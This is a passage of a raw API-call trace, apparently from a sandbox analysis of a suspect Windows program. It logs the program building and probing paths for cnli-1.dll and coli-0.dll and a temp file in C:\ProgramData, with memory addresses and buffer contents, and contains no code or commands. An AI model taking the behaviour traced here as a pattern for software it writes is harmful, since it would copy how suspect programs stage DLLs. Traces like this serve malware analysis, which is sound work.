pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0092.123] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0092.123] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="cnli-1.dll", len=0xa | out: pbstr=0x28f1cc*="cnli-1.dll") returned 1 [0092.123] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll") returned 1 [0092.124] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 1 [0092.124] SysReAllocStringLen (in: pbstr=0x47236c*=0x0, psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", len=0x2f | out: pbstr=0x47236c*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 1 [0092.124] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 0x2f [0092.124] SysReAllocStringLen (in: pbstr=0x472504*=0x0, psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", len=0x2f | out: pbstr=0x472504*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 1 [0092.124] SysReAllocStringLen (in: pbstr=0x472528*=0x0, psz="device", len=0x6 | out: pbstr=0x472528*="device") returned 1 [0092.124] SysReAllocStringLen (in: pbstr=0x472548*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472548*="harddiskvolume1") returned 1 [0092.124] SysReAllocStringLen (in: pbstr=0x472554*=0x0, psz="programdata", len=0xb | out: pbstr=0x472554*="programdata") returned 1 [0092.124] SysReAllocStringLen (in: pbstr=0x472560*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x472560*="cnli-1.dll") returned 1 [0092.125] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0092.125] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.125] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.125] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.125] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.125] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0092.125] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0092.125] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0092.125] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="cnli-1.dll", len=0xa | out: pbstr=0x28f1c0*="cnli-1.dll") returned 1 [0092.125] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll") returned 1 [0092.125] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\") returned 1 [0092.126] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\") returned 0x2c [0092.126] SysReAllocStringLen (in: pbstr=0x472570*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\", len=0x2c | out: pbstr=0x472570*="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\") returned 1 [0092.126] SysReAllocStringLen (in: pbstr=0x472594*=0x0, psz="device", len=0x6 | out: pbstr=0x472594*="device") returned 1 [0092.126] SysReAllocStringLen (in: pbstr=0x4725b4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4725b4*="harddiskvolume1") returned 1 [0092.126] SysReAllocStringLen (in: pbstr=0x4725c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4725c0*="progra~3") returned 1 [0092.126] SysReAllocStringLen (in: pbstr=0x4725cc*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x4725cc*="cnli-1.dll") returned 1 [0092.126] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device.dllaume1", lpUsedDefaultChar=0x0) returned 6 [0092.126] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.127] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.127] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0092.127] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.127] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.127] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.128] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x28f23c*="coli-0.dll") returned 1 [0092.128] CharLowerBuffW (in: lpsz="coli-0.dll", cchLength=0xa | out: lpsz="coli-0.dll") returned 0xa [0092.128] SysReAllocStringLen (in: pbstr=0x28f240*="coli-0.dll", psz="coli-0.dll", len=0xa | out: pbstr=0x28f240*="coli-0.dll") returned 1 [0092.128] SysReAllocStringLen (in: pbstr=0x472624*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x472624*="coli-0.dll") returned 1 [0092.128] SysReAllocStringLen (in: pbstr=0x472628*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x472628*="coli-0.dll") returned 1 [0092.128] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0092.128] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0092.128] CharLowerBuffW (in: lpsz="c:\\programdata\\coli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0092.128] SysReAllocStringLen (in: pbstr=0x47262c*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x47262c*="c:\\programdata\\coli-0.dll") returned 1 [0092.129] CharLowerBuffW (in: lpsz="c:\\programdata\\coli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0092.129] SysReAllocStringLen (in: pbstr=0x471b84*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x471b84*="c:\\programdata\\coli-0.dll") returned 1 [0092.129] SysReAllocStringLen (in: pbstr=0x471b88*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b88*="c:") returned 1 [0092.129] SysReAllocStringLen (in: pbstr=0x47273c*=0x0, psz="programdata", len=0xb | out: pbstr=0x47273c*="programdata") returned 1 [0092.129] SysReAllocStringLen (in: pbstr=0x47275c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x47275c*="coli-0.dll") returned 1 [0092.129] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.129] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.129] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.130] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0092.130] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.130] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.130] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.130] GetLastError () returned 0x12 [0092.130] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.130] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0092.130] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0092.130] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="coli-0.dll", len=0xa | out: pbstr=0x28ef0c*="coli-0.dll") returned 1 [0092.130] FindFirstFileW (in: lpFileName="c:\\ProgramData\\coli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.130] GetLastError () returned 0x2 [0092.130] SysReAllocStringLen (in: pbstr=0x28ef04*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x28ef04*="coli-0.dll") returned 1 [0092.131] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\coli-0.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\coli-0.dll") returned 1 [0092.131] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll", psz="c:\\ProgramData\\coli-0.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll\\") returned 1 [0092.131] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\coli-0.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\coli-0.dll\\") returned 1 [0092.131] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll\\", psz="c:\\ProgramData\\coli-0.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll") returned 1 [0092.131] CharLowerBuffW (in: lpsz="c:\\ProgramData\\coli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0092.131] SysReAllocStringLen (in: pbstr=0x471b84*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x471b84*="c:\\programdata\\coli-0.dll") returned 1 [0092.132] SysReAllocStringLen (in: pbstr=0x471b88*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b88*="c:") returned 1 [0092.132] SysReAllocStringLen (in: pbstr=0x47273c*=0x0, psz="programdata", len=0xb | out: pbstr=0x47273c*="programdata") returned 1 [0092.132] SysReAllocStringLen (in: pbstr=0x47275c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x47275c*="coli-0.dll") returned 1 [0092.132] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.132] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.132] CharLowerBuffW (in: lpsz="c:\\programdata\\coli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0092.132] SysReAllocStringLen (in: pbstr=0x47276c*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x47276c*="c:\\programdata\\coli-0.dll") returned 1 [0092.133] SysReAllocStringLen (in: pbstr=0x472770*=0x0, psz="c:", len=0x2 | out: pbstr=0x472770*="c:") returned 1 [0092.133] SysReAllocStringLen (in: pbstr=0x472790*=0x0, psz="programdata", len=0xb | out: pbstr=0x472790*="programdata") returned 1 [0092.133] SysReAllocStringLen (in: pbstr=0x4727b0*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x4727b0*="coli-0.dll") returned 1 [0092.133] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.133] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.133] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.133] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0092.133] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.134] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.134] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.134] GetLastError () returned 0x12 [0092.134] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.134] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0092.134] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0092.134] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="coli-0.dll", len=0xa | out: pbstr=0x28ef0c*="coli-0.dll") returned 1 [0092.134] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\coli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.134] GetLastError () returned 0x2 [0092.134] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x28ef00*="coli-0.dll") returned 1 [0092.134] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\coli-0.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\coli-0.dll") returned 1 [0092.134] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll", psz="c:\\PROGRA~3\\coli-0.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll\\") returned 1 [0092.135] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\coli-0.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\coli-0.dll\\") returned 1 [0092.135] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll\\", psz="c:\\PROGRA~3\\coli-0.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll") returned 1 [0092.135] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\coli-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\coli-0.dll") returned 0x16 [0092.135] SysReAllocStringLen (in: pbstr=0x47276c*=0x0, psz="c:\\progra~3\\coli-0.dll", len=0x16 | out: pbstr=0x47276c*="c:\\progra~3\\coli-0.dll") returned 1 [0092.135] SysReAllocStringLen (in: pbstr=0x472770*=0x0, psz="c:", len=0x2 | out: pbstr=0x472770*="c:") returned 1 [0092.135] SysReAllocStringLen (in: pbstr=0x472790*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472790*="progra~3") returned 1 [0092.136] SysReAllocStringLen (in: pbstr=0x4727b0*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x4727b0*="coli-0.dll") returned 1 [0092.136] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0092.136] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4727d8, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB9E693.TMP⛜vよt☘E\x18") returned 12 [0092.136] CharLowerBuffW (in: lpsz="EVB9E693.TMP", cchLength=0xc | out: lpsz="evb9e693.tmp") returned 0xc [0092.136] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0092.136] FindFirstFileW (in: lpFileName="c:\\programdata\\evb9e693.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A臬uA((")) returned 0xffffffff [0092.137] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.137] SysReAllocStringLen (in: pbstr=0x28f258*="evb9e693.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="coli-0.dll", len=0xa | out: pbstr=0x28f1cc*="coli-0.dll") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\coli-0.dll") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x472648*=0x0, psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", len=0x2f | out: pbstr=0x472648*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 1 [0092.137] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 0x2f [0092.137] SysReAllocStringLen (in: pbstr=0x4727f0*=0x0, psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", len=0x2f | out: pbstr=0x4727f0*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 1 [0092.137] SysReAllocStringLen (in: pbstr=0x472814*=0x0, psz="device", len=0x6 | out: pbstr=0x472814*="device") returned 1 [0092.138] SysReAllocStringLen (in: pbstr=0x472834*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472834*="harddiskvolume1") returned 1 [0092.138] SysReAllocStringLen (in: pbstr=0x472840*=0x0, psz="programdata", len=0xb | out: pbstr=0x472840*="programdata") returned 1 [0092.138] SysReAllocStringLen (in: pbstr=0x47284c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x47284c*="coli-0.dll") returned 1 [0092.138] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0092.138] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.138] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.138] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.139] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.139] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0092.139] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0092.139] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0092.139] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="coli-0.dll", len=0xa | out: pbstr=0x28f1c0*="coli-0.dll") returned 1 [0092.139] SysReAllocStringLen (in: 